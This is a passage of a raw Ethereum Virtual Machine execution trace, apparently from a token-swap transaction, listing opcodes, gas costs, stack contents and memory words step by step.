4a5","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x1","0x10000000000000000000000000000000000000000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000220","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":13900,"op":"DUP2","gas":99187,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xbcd","0x220","0x200","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x34a5","0x1fa848857b24b9416355f4b4668a84c842116bf4","0xffffffffffffffffffffffffffffffffffffffff"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000220","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":13901,"op":"AND","gas":99184,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xbcd","0x220","0x200","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x34a5","0x1fa848857b24b9416355f4b4668a84c842116bf4","0xffffffffffffffffffffffffffffffffffffffff","0x1fa848857b24b9416355f4b4668a84c842116bf4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000220","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":13902,"op":"DUP2","gas":99181,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xbcd","0x220","0x200","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x34a5","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x1fa848857b24b9416355f4b4668a84c842116bf4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000220","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":13903,"op":"EQ","gas":99178,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xbcd","0x220","0x200","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x34a5","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x1fa848857b24b9416355f4b4668a84c842116bf4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000220","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":13904,"op":"PUSH2","gas":99175,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xbcd","0x220","0x200","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x34a5","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000220","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":13907,"op":"JUMPI","gas":99172,"gasCost":10,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xbcd","0x220","0x200","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x34a5","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x1","0x3658"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000220","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":13912,"op":"JUMPDEST","gas":99162,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xbcd","0x220","0x200","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x34a5","0x1fa848857b24b9416355f4b4668a84c842116bf4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000220","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":13913,"op":"POP","gas":99161,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xbcd","0x220","0x200","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x34a5","0x1fa848857b24b9416355f4b4668a84c842116bf4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000220","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":13914,"op":"JUMP","gas":99159,"gasCost":8,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xbcd","0x220","0x200","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x34a5"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000220","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":13477,"op":"JUMPDEST","gas":99151,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xbcd","0x220","0x200","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000220","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":13478,"op":"SWAP4","gas":99150,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xbcd","0x220","0x200","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000220","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":13479,"op":"SWAP3","gas":99147,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x220","0x200","0x0","0xbcd"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000220","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":13480,"op":"POP","gas":99144,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0xbcd","0x200","0x0","0x220"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000220","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":13481,"op":"POP","gas":99142,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0xbcd","0x200","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000220","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":13482,"op":"POP","gas":99140,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0xbcd","0x200"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000220","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":13483,"op":"JUMP","gas":99138,"gasCost":8,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0xbcd"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000220","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":3021,"op":"JUMPDEST","gas":99130,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000220","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":3022,"op":"DUP6","gas":99129,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000220","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000